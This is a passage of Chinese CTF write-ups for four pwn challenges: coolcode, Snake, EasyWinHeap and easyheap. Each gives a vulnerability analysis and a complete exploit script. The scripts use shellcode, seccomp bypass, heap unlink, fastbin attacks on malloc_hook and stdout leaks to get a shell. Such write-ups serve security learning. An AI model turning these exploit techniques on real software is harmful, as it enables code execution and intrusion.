      && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
    {
      return 1LL;                               // error
    }
  }
  return 0LL;
}
  1. 堆上有执行权限,可以考虑构造read调用把shellcode读到write_got指向的堆上执行(只要加好偏移,执行完read调用后就会立刻执行shellcode)
  2. 程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造)
  3. 最后从返回中读取flag即可

EXP

from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"messages: ")
    p.send(content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def exp():
    #gdb.attach(p,"b *0x400E61\nc\n")
    # no \x00
    read_shellcode = '''
    xor rdi, rdi;
    sub rsi, 0x30
    mov rdx, rsi;
    xor rax, rax;
    syscall;
    '''
    read_shellcode = asm(read_shellcode, arch="amd64")
    add(-22, "\xc3") # exit_got->ret
    add(-34, read_shellcode) # write_got
    add(0, "CCCCCCCC")
    show(0)

    shellcode = ""
    a = '''
        add rcx, 19;
        mov rbx, 0x23
        SHL rbx, 32;
        add rcx, rbx;
        push rcx;
        retf
        mov esp, edx
        '''
    shellcode += asm(a,arch="amd64");

    b = '''
        mov eax, 5;
        push 0x00006761;
        push 0x6c662f2e;
        mov ebx, esp;
        mov ecx, 0;
        int 0x80;

        add edx, 0x43;
        push 0x33
        push edx
        retf
        '''
    shellcode += asm(b,arch="i386");

    c = '''
        mov rdi, rax;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 0;
        syscall;

        mov rdi, 1;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 1;
        syscall;
        '''
    shellcode += asm(c,arch="amd64");
    p.sendline("\x90"*0xe+shellcode)
    show(0)

    p.interactive()

if __name__ == "__main__":
    exp()

Snake

是个趣味题,思路不难,关键是io量太大了,容易卡住…

分析

  1. 程序是个贪吃蛇游戏,游戏地图和玩家姓名保存在堆上。假如游戏死亡,会根据死亡位置让你留下一段信息,这段信息写在存着地图的堆块上。经过测试,只要在右下角死亡,就会存在off_by_one,可以修改下一堆块的prev_size和size的低字节。
  2. 由于保存姓名的堆块大小有限制,不能为unsorted_bin,于是通过off_by_one的修改出一个unsorted_bin,同时构造一个overlapping。
  3. 泄露出unsorted_arena计算出libc_base,并利用overlapping修改其中fast_chunk的指针,把堆块分配到malloc_hook。
  4. 最后往malloc多试几个one_gadget就可以getshell了
  5. 要注意,在写脚本的时候,recv()一次游戏只会刷新一帧,需要写一个while循环send(“s”)方向键直到出现死亡信息。

EXP

from pwn import *
import time

p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"2")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def get(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"3")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def start():
    p.recvuntil(b"4.start name\n")
    p.sendline(b"4")

def play2die():
    while(1):
        ret = p.recv()
        if b"please leave words:\n" in ret:
            break
        else:
            p.send("s")
        time.sleep(0.6)

def exp():
    p.recvuntil(b"how long?\n")
    p.sendline(b"96")
    p.recvuntil(b"input name\n")
    list_start = 0x603140 #name_ptr_list
    name = b"A"*8
    p.sendline(name)

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    add(1,0x60,b"BBBBBBBB")
    add(2,0x20,p64(0xf0)+p64(0x21))

    start()
    play2die()
    words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
    p.send(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    delete(0)
    delete(1)

    start()
    p.recv(13)
    unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = unsorted_arena - 0x3C4B20 - 0x58
    fake_chunk_start = libc_base + 0x3C4AED
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    print("unsorted_arena",hex(unsorted_arena))
    print("libc_base",hex(libc_base))
    print("fake_chunk_start",hex(fake_chunk_start))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")

    add(0,0x50,b"AAAAAAAA")
    add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))


    add(3,0x60,b"DDDDDDDD")
    add(4,0x60,b"A"*0x13+p64(one_gadget))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(5).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(16).encode())
    p.interactive()

if __name__ == "__main__":
    exp()

EasyWinHeap

这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。

?

关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~

分析

程序逻辑不复杂,甚至存在很多漏洞

  1. alloc的时候将将 puts函数指针 | ((size>>4)+1) 之后和堆指针一起放置在堆上。然后在show的时候通过&0xFFFFFFF0 运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
    附:堆上指针保存位置
0:004> dd 0x1270490 0x1270600 
01270490  b1dc07df 080013cd 00011048 
01270520 012704a0  00011048 01270530 
00011048 01270540 012704b0  00011048 
01270550 00011048 01270560 012704c0  
00011048 01270570 00000000 00000000
  1. alloc的size并不是输入的size,而是之前的(size>>4)+1,但是edit的时候却是按照size长度来输入。明显存在堆溢出。
  2. 考虑修改堆上的puts指针为system或winexev的指针,然后把堆内容写"cmd.exe"作为参数(在我的系统版本,system地址包含了\x0a,导致输入会被破坏,于是只能使用winexec)。而winexev在kernel32中,和HeapFree一样,于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址,就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针,就需要构造unlink(win下的unlink与Linux稍有不同,主要是fd和bk都指向用户可控区域)。
    附:堆结构
01270510  00000000 00000000 a2dc07cc 
0800134e 01270520  012700c0 012700c0 
a2dc07cc 0800135d 01270530  012700c0 
012700c0 a3dd07cc 0000135d 01270540  
01270580 01270560 a2dc07cc 0800135d 
01270550  012700c0 012700c0 a3dd07cc 
0000135d 01270560  01270540 012700c0 
a2dc07cc 0800135d 01270570  012700c0 
012700c0 efdd0483 0000135d 01270580  
012700c0 01270540 00000000 00000000 
01270590  00000000 00000000 00000000 
00000000
  1. unlink构造完后就可以达成任意读写,这时只需要泄露出puts指针,计算出image_base,就衔接上了第三点的逻辑。
  2. 需要注意的是,由于edit输入后,末尾会存在00截断,导致破坏堆上原有内容,所以需要合理安排堆布局,并通过泄露部分内容以便在输入时顺便修补(详见EXP)。

EXP

from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")

#windbg.attach(p)

def add(size):
    p.recvuntil("option >")
    p.sendline("1")
    p.sendline(str(size))
def free(index):
    p.recvuntil("option >")
    p.sendline("2")
    p.recvuntil("index >")
    p.sendline(str(index))
def show(index):
    p.recvuntil("option >")
    p.sendline("3")
    p.recvuntil("index >")
    p.sendline(str(index))
def edit(index,content):
    p.recvuntil("option >")
    p.sendline("4")
    p.recvuntil("index >")
    p.sendline(str(index))
    p.recvuntil("content  >")
    p.sendline(content)

add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2)   #过滤换行

p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac

print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))

#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12]) 
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)

#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)

show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))

edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))

edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")

p.interactive()

注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。

直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()